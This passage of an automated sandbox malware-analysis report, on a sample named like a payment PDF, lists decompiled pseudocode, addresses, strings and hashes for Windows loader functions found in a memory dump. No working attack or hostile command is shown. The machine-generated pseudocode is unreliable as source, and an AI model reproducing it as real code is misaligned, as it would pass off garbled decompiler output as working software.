							_t57 = _t141 + 0x200; // 0x230
							_t131 = _t57;
							_t104 =  *_t131;
							_t58 = _t141 + 0x204; // 0x234
							_t147 = _t58;
							_v536 = _t131;
							_v544 = _t147;
							if(_t104 == 0) {
								L33:
								_t105 =  *_t147;
								L34:
								_t141 = _v556;
								 *_v556 = _t105;
								 *_v560 =  *_t131;
								_t107 = _v564;
								if(_t107 != 0) {
									 *_t107 = _t142;
								}
								_t148 = 0;
								L37:
								if(_t128 != 0 && _t128 !=  &_v532) {
									E33483B90( &_v552);
								}
								goto L39;
							}
							_t142 =  *((intOrPtr*)(_t104 + 0x18)) + _t104;
							L26:
							_t141 = 0;
							if( *_t131 != 0 &&  *_t147 == 0) {
								_t108 =  *(_t142 + 8);
								if( *(_t142 + 8) > 0x3ffffffc) {
									_t148 = 0xc0000095;
									goto L37;
								}
								_t129 = L33485D90(_t131,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xc + _t108 * 4);
								if(_t129 == 0) {
									_t148 = 0xc0000017;
									L51:
									_t128 = _v548;
									goto L37;
								}
								_t141 =  *(_t142 + 8);
								_t67 = _t129 + 0xc; // 0xc
								_t113 = E334A33D0(_t129,  *(_t142 + 8), _t67);
								_t148 = _t113;
								if(_t113 < 0) {
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t129);
									goto L51;
								}
								_t147 = _v544;
								asm("lock cmpxchg [esi], ecx");
								if(0 != 0) {
									E33469303(_t129);
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t129);
								}
								_t131 = _v536;
								_t128 = _v548;
							}
							goto L33;
						}
						if((_v540 & 0x00000003) != 0) {
							goto L12;
						}
						_t55 = _t96 + 0x10; // 0x10
						_t131 = _t55;
						_t141 =  *_t131;
						if(_t141 == 0) {
							_t148 = 0xc00000e5;
							goto L39;
						}
						_t142 =  *((intOrPtr*)(_t141 + 0x18)) + _t141;
						_t105 = _t96 + 0x5c;
						goto L34;
					}
					L12:
					if(_t96 == 0xfffffffc || (_v540 & 0x00000002) != 0) {
						goto L24;
					} else {
						if(_t96 != 0) {
							if((_v540 & 0x00000001) == 0) {
								goto L26;
							}
						}
						_t31 = _t141 + 0x1f8; // 0x228
						_t131 = _t31;
						_t119 =  *_t131;
						_t32 = _t141 + 0x1fc; // 0x22c
						_t147 = _t32;
						_v536 = _t131;
						_v544 = _t147;
						if(_t119 == 0) {
							goto L33;
						}
						_t142 =  *((intOrPtr*)(_t119 + 0x18)) + _t119;
						_v568 = _t142;
						if( *_t147 != 0) {
							goto L26;
						}
						_t120 =  *((intOrPtr*)(_t141 + 0x10));
						_t141 = 0x208;
						_t139 =  *(_t120 + 0x38);
						_t142 =  *(_t120 + 0x3c);
						_t149 = _t139 & 0x0000ffff;
						_v540 = _t139;
						_t41 = _t149 + 0xe; // 0x23a
						_t121 = _t41;
						if(_t121 > 0x208) {
							if(_t121 <= 0xfffe) {
								_v550 = _t139 + 0xe;
								_t128 = L33485D60(_t139 + 0x0000000e & 0x0000ffff);
								_v548 = _t128;
								if(_t128 != 0) {
									L19:
									L334B88C0(_t128, _t142, _t149);
									_t131 = _v536;
									_v552 = _v540 + 0xc;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									asm("movsw");
									_t142 = _v568;
									_t147 = _v544;
									goto L26;
								}
								_t148 = 0xc0000017;
								goto L39;
							}
							_t148 = 0xc0000106;
							goto L39;
						}
						_t128 =  &_v532;
						_v550 = 0x208;
						_v548 = _t128;
						goto L19;
					}
				}
			}

0x334a265c
0x334a266e
0x334a2675
0x334a267b
0x334a2685
0x334a268b
0x334a2691
0x334a2697
0x334a269b
0x334a26a1
0x334a26a8
0x334a26aa
0x334a26b1
0x334a26b3
0x334a26b4
0x334a26bb
0x334a26be
0x334a26c4
0x334a26ca
0x334a26d5
0x334e1ff1
0x334e1ff9
0x334a2906
0x334a2916
0x334a2916
0x334a26e1
0x334a26e9
0x334a26eb
0x334a26eb
0x334a26f3
0x334a26fb
0x334a26fd
0x334a26fd
0x334a2705
0x334a270d
0x334a270f
0x334a270f
0x334a271b
0x334e20a8
0x334e20ae
0x334e20b4
0x334e20b5
0x334e20c9
0x334e20d1
0x00000000
0x334a2741
0x334a2743
0x334a2813
0x334a283c
0x334a283c
0x334a283c
0x334a2842
0x334a2844
0x334a2844
0x334a284a
0x334a2850
0x334a2858
0x334a28d2
0x334a28d2
0x334a28d4
0x334a28d4
0x334a28da
0x334a28e4
0x334a28e6
0x334a28ee
0x334a28f0
0x334a28f0
0x334a28f2
0x334a28f4
0x334a28f6
0x334e20e2
0x334e20e2
0x00000000
0x334a28f6
0x334a285d
0x334a285f
0x334a285f
0x334a2863
0x334a2869
0x334a2871
0x334e205d
0x00000000
0x334e205d
0x334a288e
0x334a2892
0x334e2067
0x334e2080
0x334e2080
0x00000000
0x334e2080
0x334a2898
0x334a289b
0x334a28a1
0x334a28a6
0x334a28aa
0x334e207b
0x00000000
0x334e207b
0x334a28b0
0x334a28ba
0x334a28c0
0x334e208d
0x334e209e
0x334e209e
0x334a28c6
0x334a28cc
0x334a28cc
0x00000000
0x334a2863
0x334a281c
0x00000000
0x00000000
0x334a2822
0x334a2822
0x334a2825
0x334a2829
0x334e2003
0x00000000
0x334e2003
0x334a2832
0x334a2834
0x00000000
0x334a2834
0x334a2749
0x334a274c
0x00000000
0x334a275f
0x334a2761
0x334e2014
0x00000000
0x00000000
0x334e201a
0x334a2767
0x334a2767
0x334a276d
0x334a276f
0x334a276f
0x334a2775
0x334a277b
0x334a2783
0x00000000
0x00000000
0x334a278c
0x334a2791
0x334a2797
0x00000000
0x00000000
0x334a279d
0x334a27a0
0x334a27a5
0x334a27a8
0x334a27ab
0x334a27ae
0x334a27b4
0x334a27b4
0x334a27b9
0x334e2024
0x334e2033
0x334e2043
0x334e2045
0x334e204d
0x334a27d2
0x334a27d5
0x334a27e8
0x334a27ee
0x334a27fd
0x334a27fe
0x334a27ff
0x334a2800
0x334a2802
0x334a2808
0x00000000
0x334a2808
0x334e2053
0x00000000
0x334e2053
0x334e2026
0x00000000
0x334e2026
0x334a27bf
0x334a27c5
0x334a27cc
0x00000000
0x334a27cc
0x334a274c

Strings

.Local, xrefs: 334A27F8
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 334E1FE3, 334E20BB
SXS: %s() passed the empty activation context, xrefs: 334E1FE8
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 334E20C0

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: 0859b479537c5fb98b16d8ba457b58e3b170bb176490b7f91bd45bd41bb64941
Instruction ID: fe680748a762b438c654a6c9f992fc0c35c331f7a89795b188ca78c7953253ef
Opcode Fuzzy Hash: 0859b479537c5fb98b16d8ba457b58e3b170bb176490b7f91bd45bd41bb64941
Instruction Fuzzy Hash: E2A1BD759013299FEB20CF68C884B99B3B5BF68315F1401EDE858AB391D7319E91CF98

Uniqueness

Uniqueness Score: -1.00%

Function 3350327E Relevance: 5.2, Strings: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E3350327E(char __ecx, signed int* __edx, intOrPtr* _a4, signed int _a8) {
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int* _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				char* _v72;
				short _v74;
				char _v76;
				char* _v80;
				short _v82;
				char _v84;
				signed int* _v100;
				signed int _v104;
				signed int _v108;
				void* _v112;
				signed int* _v116;
				signed int _v120;
				char _v124;
				signed int _v128;
				char _v132;
				intOrPtr _v164;
				signed int _v172;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t76;
				short _t77;
				void* _t78;
				signed char* _t79;
				signed int _t81;
				signed int _t90;
				signed int _t94;
				signed int _t103;
				signed int _t104;
				signed int _t111;
				signed int _t112;
				signed char* _t119;
				signed char* _t126;
				signed int _t129;
				signed int _t130;
				short _t132;
				intOrPtr* _t134;
				signed int _t139;
				signed int* _t144;
				signed char* _t151;
				char _t155;
				signed int _t156;

				_t155 = __ecx;
				_v100 = __edx;
				_t132 = 0x28;
				_t76 = 0x2a;
				_v82 = _t76;
				_t77 = 0x26;
				_v84 = _t132;
				_v80 = L"LdrpResMapFile Enter";
				_v76 = _t77;
				_v74 = _t132;
				_v72 = L"LdrpResMapFile Exit";
				_t78 = L33483C40();
				_t126 = 0x7ffe0385;
				if(_t78 == 0) {
					_t79 = 0x7ffe0385;
				} else {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				}
				_t151 = 0x7ffe0384;
				if(( *_t79 & 0x00000001) != 0) {
					if(L33483C40() == 0) {
						_t119 = 0x7ffe0384;
					} else {
						_t119 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					L334FFC01( &_v84,  *_t119 & 0x000000ff);
				}
				if(_t155 == 0) {
					L48:
					_t156 = 0xc000000d;
					L14:
					if(L33483C40() != 0) {
						_t126 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t126 & 0x00000001) != 0) {
						if(L33483C40() != 0) {
							_t151 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						L334FFC01( &_v76,  *_t151 & 0x000000ff);
					}
					_t81 = _t156;
					L21:
					return _t81;
				}
				_t144 = _v100;
				if(_t144 == 0) {
					goto L48;
				}
				_t134 = _a4;
				_t166 = _t134;
				if(_t134 == 0) {
					goto L48;
				}
				_t129 = _a8;
				 *_t144 =  *_t144 & 0x00000000;
				_push(_t129 | 0x00200000);
				_push(_t134);
				_push(_t144);
				_push(_t155);
				if(L334789C0(_t129, _t151, _t155, _t166) < 0) {
					__eflags = _t129 & 0x00000400;
					if((_t129 & 0x00000400) == 0) {
						__eflags = _t129 & 0x00000800;
						if((_t129 & 0x00000800) == 0) {
							_t156 = 0xc000000d;
							L13:
							_t126 = 0x7ffe0385;
							goto L14;
						}
						_v132 = _t155;
						L37:
						__eflags = _t129 & 0x00020000;
						if((_t129 & 0x00020000) == 0) {
							L42:
							_push(_t155);
							_push(0x8000000);
							_push("true");
							_push(0);
							_push(0);
							_push(0xf0005);
							_push( &_v124);
							_t90 = E334B2E50();
							_t130 =  !_t129;
							_t156 = _t90;
							__eflags = _t130 & 0x00000800;
							if((_t130 & 0x00000800) != 0) {
								_push(_v132);
								E334B2A80();
							}
							__eflags = _t156;
							if(_t156 < 0) {
								goto L13;
							} else {
								_push("true");
								_push(0);
								_push("true");
								_push( &_v112);
								_v84 = 0;
								_push( &_v84);
								_push(0);
								_push(0);
								_v80 = 0;
								_push( &_v120);
								_push(0xffffffff);
								_push(_v124);
								_v112 = 0;
								_v120 = 0;
								_t94 = E334B2C30();
								_push(_v164);
								_t156 = _t94;
								E334B2A80();
								_t126 = 0x7ffe0385;
								__eflags = _t156;
								if(_t156 >= 0) {
									 *_v116 = _v120 | 0x00000001;
									 *_a4 = _v112;
								}
								goto L14;
							}
						}
						_t81 = E3350314A(_t155,  &_v76);
						__eflags = _t81;
						if(_t81 < 0) {
							goto L21;
						}
						__eflags = _v76 -  *_a4;
						if(_v76 <=  *_a4) {
							_t155 = _v132;
							goto L42;
						}
						_t156 = 0xc000001f;
						goto L13;
					}
					_t103 = L33491C10(_t155,  &_v108, 0,  &_v60);
					__eflags = _t103;
					if(_t103 != 0) {
						_t104 = _v60;
						_v128 = _v104;
						__eflags = _t104;
						if(_t104 == 0) {
							_t139 = 0;
							__eflags = 0;
						} else {
							_t139 = _v52;
							_v108 = _t104;
							_t104 = _v56;
							_v104 = _t104;
						}
						_v44 = 0x18;
						_v32 = 0x40;
						asm("sbb eax, eax");
						_v40 = _t104 & _t139;
						_v36 =  &_v108;
						_push(0);
						_push(0);
						_push(0);
						_push("true");
						_push("true");
						_push(0);
						_push(0);
						_v28 = 0;
						_v24 = 0;
						_push( &_v68);
						_push( &_v44);
						_push(0x80100080);
						_push( &_v132);
						_t111 = E334B2F00();
						__eflags = _v172;
						_t156 = _t111;
						if(_v172 != 0) {
							_t112 = _v48;
							__eflags = _t112;
							if(_t112 != 0) {
								__eflags = _t139 | 0xffffffff;
								asm("lock xadd [eax], ecx");
								if((_t139 | 0xffffffff) == 0) {
									_push( *((intOrPtr*)(_t112 + 4)));
									E334B2A80();
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v52);
								}
							}
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v128);
						}
						__eflags = _t156;
						if(_t156 < 0) {
							goto L13;
						} else {
							_t155 = _v132;
							goto L37;
						}
					}
					_t156 = 0xc00b0001;
					goto L13;
				}
				_t156 = 0xc000020a;
				goto L13;
			}

0x3350328e
0x33503290
0x33503294
0x33503297
0x3350329a
0x3350329f
0x335032a0
0x335032a5
0x335032ad
0x335032b2
0x335032b7
0x335032bf
0x335032c4
0x335032cb
0x335032dd
0x335032cd
0x335032d6
0x335032d6
0x335032e2
0x335032e7
0x335032f0
0x33503302
0x335032f2
0x335032fb
0x335032fb
0x3350330b
0x3350330b
0x33503312
0x33503588
0x33503588
0x33503353
0x3350335a
0x33503365
0x33503365
0x3350336e
0x33503377
0x33503382
0x33503382
0x3350338f
0x3350338f
0x33503394
0x33503396
0x3350339c
0x3350339c
0x33503318
0x3350331e
0x00000000
0x00000000
0x33503324
0x33503327
0x33503329
0x00000000
0x00000000
0x3350332f
0x33503334
0x3350333c
0x3350333d
0x3350333e
0x3350333f
0x33503347
0x3350339f
0x335033a5
0x3350349c
0x335034a2
0x3350357e
0x3350334e
0x3350334e
0x00000000
0x3350334e
0x335034a8
0x335034ac
0x335034ac
0x335034b2
0x335034e0
0x335034e0
0x335034e1
0x335034e6
0x335034e8
0x335034ea
0x335034ec
0x335034f5
0x335034f6
0x335034fb
0x335034fd
0x335034ff
0x33503505
0x33503507
0x3350350b
0x3350350b
0x33503510
0x33503512
0x00000000
0x33503518
0x33503518
0x33503520
0x33503521
0x33503523
0x33503528
0x3350352c
0x3350352d
0x3350352e
0x33503533
0x33503537
0x33503538
0x3350353a
0x3350353e
0x33503542
0x33503546
0x3350354b
0x3350354f
0x33503551
0x33503556
0x3350355b
0x3350355d
0x33503571
0x33503577
0x33503577
0x00000000
0x3350355d
0x33503512
0x335034ba
0x335034bf
0x335034c1
0x00000000
0x00000000
0x335034ce
0x335034d0
0x335034dc
0x00000000
0x335034dc
0x335034d2
0x00000000
0x335034d2
0x335033b8
0x335033bd
0x335033bf
0x335033c8
0x335033d0
0x335033d4
0x335033d7
0x335033eb
0x335033eb
0x335033d9
0x335033d9
0x335033dd
0x335033e1
0x335033e5
0x335033e5
0x335033ef
0x335033f7
0x335033ff
0x33503403
0x3350340b
0x33503411
0x33503412
0x33503413
0x33503414
0x33503416
0x33503418
0x33503419
0x3350341a
0x33503421
0x3350342c
0x33503434
0x33503435
0x3350343e
0x3350343f
0x33503444
0x33503449
0x3350344b
0x3350344d
0x33503451
0x33503453
0x33503455
0x33503458
0x3350345c
0x3350345e
0x33503461
0x33503475
0x33503475
0x3350345c
0x33503489
0x33503489
0x3350348e
0x33503490
0x00000000
0x33503496
0x33503496
0x00000000
0x33503496
0x33503490
0x335033c1
0x00000000
0x335033c1
0x33503349
0x00000000

Strings

LdrpResMapFile Enter, xrefs: 335032A5
X}E3, xrefs: 3350353A
LdrpResMapFile Exit, xrefs: 335032B7
@, xrefs: 335033F7

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit$X}E3
API String ID: 0-2599166560
Opcode ID: 8f9ac248f06bc371b626c07ff58187befca4894745619e3dc7b4007ab6d319f8
Instruction ID: b80e508edea4317058abc57ea7b82202d54ea41191ef581688ba2b1e1e1cf537
Opcode Fuzzy Hash: 8f9ac248f06bc371b626c07ff58187befca4894745619e3dc7b4007ab6d319f8
Instruction Fuzzy Hash: 0C818E75608340AFE711CB24D884B6AB7E8FF94750F48096DF984DB290EB76D904CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 3347B360 Relevance: 5.2, Strings: 4, Instructions: 221
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E3347B360(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				short _t85;
				short _t86;
				intOrPtr* _t88;
				signed char* _t89;
				void* _t90;
				signed char* _t91;
				signed int _t93;
				signed int _t95;
				void* _t97;
				intOrPtr* _t99;
				signed int _t105;
				signed short _t109;
				void* _t114;
				signed char _t117;
				signed char _t118;
				signed int _t124;
				short _t127;
				signed int _t131;
				signed char* _t132;
				signed int _t135;
				intOrPtr _t137;
				signed short _t139;
				signed int _t143;
				intOrPtr _t148;
				signed int _t160;
				intOrPtr _t169;
				void* _t171;
				void* _t173;
				signed char _t186;

				_push(0x12c);
				_push(0x3354bf88);
				E334C7BE4(__ebx, __edi, __esi);
				 *((char*)(_t173 - 0x1d)) = 1;
				 *(_t173 - 0x24) = 1;
				_t127 = 0x42;
				 *((short*)(_t173 - 0x44)) = _t127;
				_t85 = 0x44;
				 *((short*)(_t173 - 0x42)) = _t85;
				 *(_t173 - 0x40) = L"LdrpResGetResourceDirectory Enter";
				_t86 = 0x40;
				 *((short*)(_t173 - 0x4c)) = _t86;
				 *((short*)(_t173 - 0x4a)) = _t127;
				 *(_t173 - 0x48) = L"LdrpResGetResourceDirectory Exit";
				_t88 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t88 != 0) {
					if( *_t88 == 0) {
						goto L1;
					}
					_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					L2:
					if(( *_t89 & 0x00000001) != 0) {
						_t90 = L33483C40();
						_t165 = 0x7ffe0384;
						if(_t90 == 0) {
							_t91 = 0x7ffe0384;
						} else {
							_t91 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						L334FFC01(_t173 - 0x44,  *_t91 & 0x000000ff);
					} else {
						_t165 = 0x7ffe0384;
					}
					_t124 =  *(_t173 + 8);
					if(_t124 == 0 ||  *((intOrPtr*)(_t173 + 0x14)) == 0 ||  *((intOrPtr*)(_t173 + 0x18)) == 0) {
						_t93 = 0xc000000d;
						goto L31;
					} else {
						if((_t124 & 0x00000003) != 0) {
							_t117 = _t124 & 0x00000001;
							_t124 = _t124 & 0xfffffffc;
							_t118 = _t117 ^ 0x00000001;
							_t186 = _t118;
							 *(_t173 - 0x24) = _t118;
						}
						 *(_t173 + 0x10) =  *(_t173 + 0x10) & 0x00001000;
						_push(_t173 - 0x28);
						_push(0);
						_push( *((intOrPtr*)(_t173 + 0xc)));
						_push(_t124);
						_t95 = 0;
						_push(_t95 & 0xffffff00 | _t186 == 0x00000000);
						_t93 = E3347E580();
						if(_t93 < 0) {
							L31:
							 *[fs:0x0] =  *((intOrPtr*)(_t173 - 0x10));
							return _t93;
						} else {
							 *(_t173 - 4) =  *(_t173 - 4) & 0x00000000;
							_t146 =  *((intOrPtr*)(_t173 - 0x28));
							_t97 =  *((intOrPtr*)(_t173 - 0x28)) + 0x18;
							_t131 =  *_t97 & 0x0000ffff;
							if(_t131 != 0x10b) {
								if(_t131 != 0x20b) {
									 *(_t173 - 0x1c) = 0xc000007b;
									 *(_t173 - 4) = 0xfffffffe;
									L28:
									_t132 = 0x7ffe0385;
									_t99 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
									if(_t99 != 0) {
										if( *_t99 != 0) {
											_t132 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
										}
									}
									if(( *_t132 & 0x00000001) != 0) {
										if(L33483C40() != 0) {
											_t165 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
										}
										L334FFC01(_t173 - 0x4c,  *_t165 & 0x000000ff);
									}
									_t93 =  *(_t173 - 0x1c);
									goto L31;
								}
								_t135 = 0x3c;
								memcpy(_t173 - 0x13c, _t97, _t135 << 2);
								_t137 = 0;
								L12:
								_t105 =  *(_t173 - 0xe0);
								if(_t137 == 0) {
									_t105 =  *(_t173 - 0xd0);
								}
								if(_t105 <= 2) {
									L36:
									 *(_t173 - 0x1c) = 0xc0000089;
									goto L37;
								} else {
									_t169 =  *((intOrPtr*)(_t173 - 0xcc));
									if(_t137 == 0) {
										_t169 =  *((intOrPtr*)(_t173 - 0xbc));
									}
									if(_t169 == 0) {
										goto L36;
									} else {
										if( *(_t173 - 0x24) == 0) {
											if(_t169 <  *((intOrPtr*)(_t173 - 0x100))) {
												goto L17;
											}
											_t160 =  *(_t173 + 0x10);
											_t114 = E334781C2(_t124,  *((intOrPtr*)(_t173 + 0xc)), _t146, 0, _t169, (_t105 & 0xffffff00 | _t160 != 0x00000000) & 0x000000ff);
											if(_t114 == 0) {
												L42:
												 *(_t173 - 0x1c) = 0xc000007b;
												L37:
												 *(_t173 - 4) = 0xfffffffe;
												L27:
												_t165 = 0x7ffe0384;
												goto L28;
											}
											if( *((intOrPtr*)(_t114 + 0x10)) == 0) {
												goto L36;
											}
											_t148 =  *((intOrPtr*)(_t114 + 0x14)) -  *((intOrPtr*)(_t114 + 0xc)) + _t169 + _t124;
											L19:
											 *((intOrPtr*)(_t173 - 0x34)) = _t148;
											 *(_t173 - 4) = 0xfffffffe;
											if(_t148 == 0) {
												 *(_t173 - 0x1c) = 0xc0000089;
												goto L27;
											}
											if(_t160 == 0) {
												L26:
												 *((intOrPtr*)( *((intOrPtr*)(_t173 + 0x14)))) = _t148;
												 *((intOrPtr*)( *((intOrPtr*)(_t173 + 0x18)))) =  *((intOrPtr*)(_t173 - 0x28));
												 *(_t173 - 0x1c) =  *(_t173 - 0x1c) & 0x00000000;
												goto L27;
											}
											if(_t148 <= _t124) {
												L49:
												 *(_t173 - 0x1c) = 0xc000007b;
												goto L27;
											}
											_t171 =  *((intOrPtr*)(_t173 + 0xc)) + (_t124 & 0xfffffffc);
											if(_t148 + 0x10 > _t171) {
												goto L49;
											}
											 *(_t173 - 4) = 1;
											_t109 =  *((intOrPtr*)(_t148 + 0xc));
											 *(_t173 - 0x2c) = _t109;
											_t139 =  *((intOrPtr*)(_t148 + 0xe));
											 *(_t173 - 0x30) = _t139;
											 *(_t173 - 4) = 0xfffffffe;
											if(_t109 != 0 || _t139 != 0) {
												if(_t148 + ((_t139 & 0x0000ffff) + (_t109 & 0x0000ffff)) * 8 > _t171) {
													goto L49;
												}
												goto L26;
											} else {
												 *(_t173 - 0x1c) = 0xc000008a;
												goto L27;
											}
										}
										L17:
										_t148 = _t169 + _t124;
										if(_t148 < _t124) {
											goto L42;
										}
										_t160 =  *(_t173 + 0x10);
										goto L19;
									}
								}
							}
							_t143 = 0x38;
							memcpy(_t173 - 0x13c, _t97, _t143 << 2);
							_t137 =  *((intOrPtr*)(_t173 - 0x1d));
							goto L12;
						}
					}
				}
				L1:
				_t89 = 0x7ffe0385;
				goto L2;
			}

0x3347b360
0x3347b365
0x3347b36a
0x3347b36f
0x3347b373
0x3347b379
0x3347b37a
0x3347b380
0x3347b381
0x3347b385
0x3347b38e
0x3347b38f
0x3347b393
0x3347b397
0x3347b3a4
0x3347b3a9
0x334d353d
0x00000000
0x00000000
0x334d354c
0x3347b3b4
0x3347b3b7
0x334d3556
0x334d355b
0x334d3562
0x334d3574
0x334d3564
0x334d356d
0x334d356d
0x334d357c
0x3347b3bd
0x3347b3bd
0x3347b3bd
0x3347b3c2
0x3347b3c7
0x334d3631
0x00000000
0x3347b3e1
0x3347b3e4
0x3347b3e8
0x3347b3eb
0x3347b3ee
0x3347b3ee
0x3347b3f0
0x3347b3f0
0x3347b3f3
0x3347b3fd
0x3347b3fe
0x3347b400
0x3347b403
0x3347b406
0x3347b40a
0x3347b40b
0x3347b412
0x3347b530
0x3347b533
0x3347b53f
0x3347b418
0x3347b418
0x3347b41c
0x3347b41f
0x3347b422
0x3347b42d
0x3347b59c
0x334d35bd
0x334d35c4
0x3347b50e
0x3347b50e
0x3347b519
0x3347b51e
0x334d35ef
0x334d35fe
0x334d35fe
0x334d35ef
0x3347b527
0x334d3610
0x334d361b
0x334d361b
0x334d3627
0x334d3627
0x3347b52d
0x00000000
0x3347b52d
0x3347b5a4
0x3347b5ad
0x3347b5af
0x3347b443
0x3347b445
0x3347b44b
0x3347b5b6
0x3347b5b6
0x3347b454
0x3347b581
0x3347b581
0x00000000
0x3347b45a
0x3347b45c
0x3347b462
0x3347b5c1
0x3347b5c1
0x3347b46a
0x00000000
0x3347b470
0x3347b474
0x3347b548
0x00000000
0x00000000
0x3347b54e
0x3347b563
0x3347b56a
0x3347b5cc
0x3347b5cc
0x3347b588
0x3347b588
0x3347b509
0x3347b509
0x00000000
0x3347b509
0x3347b570
0x00000000
0x00000000
0x3347b57a
0x3347b488
0x3347b488
0x3347b48b
0x3347b494
0x334d35b1
0x00000000
0x334d35b1
0x3347b49c
0x3347b4f8
0x3347b4fb
0x3347b503
0x3347b505
0x00000000
0x3347b505
0x3347b4a0
0x334d3586
0x334d3586
0x00000000
0x334d3586
0x3347b4ac
0x3347b4b3
0x00000000
0x00000000
0x3347b4b9
0x3347b4c0
0x3347b4c4
0x3347b4c8
0x3347b4cc
0x3347b4d0
0x3347b4da
0x3347b4f2
0x00000000
0x00000000
0x00000000
0x334d3592
0x334d3592
0x00000000
0x334d3592
0x3347b4da
0x3347b47a
0x3347b47a
0x3347b47f
0x00000000
0x00000000
0x3347b485
0x00000000
0x3347b485
0x3347b46a
0x3347b454
0x3347b435
0x3347b43e
0x3347b440
0x00000000
0x3347b440
0x3347b412
0x3347b3c7
0x3347b3af
0x3347b3af
0x00000000

Strings

{, xrefs: 334D35BD
LdrpResGetResourceDirectory Exit, xrefs: 3347B397
LUD3, xrefs: 3347B500
LdrpResGetResourceDirectory Enter, xrefs: 3347B385

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: LUD3$LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
API String ID: 0-740267835
Opcode ID: ab096de9cee8befccb8de678e4eca726d0332fcb5d97c69bb6528550ee624c8d
Instruction ID: 0b6975ae7a206e3aa3cad3d27e3d1bc16798f302ac7f9ae2d5554e5b2129afa0
Opcode Fuzzy Hash: ab096de9cee8befccb8de678e4eca726d0332fcb5d97c69bb6528550ee624c8d
Instruction Fuzzy Hash: 7791F175A04359CFEB11CF54C4607DEB7B0FF00398F584599E860AB391E7789A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 334763CB Relevance: 5.2, Strings: 4, Instructions: 211
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E334763CB(signed int __ecx) {
				signed int _v8;
				intOrPtr _v68;
				intOrPtr _v72;
				char _v76;
				char _v92;
				char _v100;
				char _v104;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t88;
				intOrPtr _t100;
				signed int _t121;
				void* _t122;
				signed char _t126;
				void* _t128;
				void* _t131;
				void* _t133;
				signed int _t136;
				signed int _t138;

				_t123 = __ecx;
				_t138 = (_t136 & 0xfffffff8) - 0x64;
				_t83 =  *0x3356b370 ^ _t138;
				_v8 =  *0x3356b370 ^ _t138;
				_t121 = __ecx;
				if(__ecx == 0) {
					L15:
					_pop(_t128);
					_pop(_t133);
					_pop(_t122);
					return E334B4B50(_t83, _t122, _v8 ^ _t138, _t126, _t128, _t133);
				} else {
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v104 = 0;
					_v100 = 0;
					_t88 = L334B8870( *[fs:0x18] + 0x19c,  &_v104, "true");
					_t138 = _t138 + 0xc;
					if(_t88 != 0) {
						_push("true");
						_push( &_v104);
						_push(0x2c);
						_push(0xfffffffe);
						if(E334B2A60() >= 0) {
							_t123 =  *[fs:0x18];
							 *((intOrPtr*)(_t123 + 0x19c)) = _v104;
							 *((intOrPtr*)(_t123 + 0x1a0)) = _v100;
						}
					}
					if(( *(_t121 + 0x28) & 0x00000001) != 0) {
						if(( *(_t121 + 0x38) & 0x00000001) == 0) {
							_t123 = _t121;
							E3348C700(_t121);
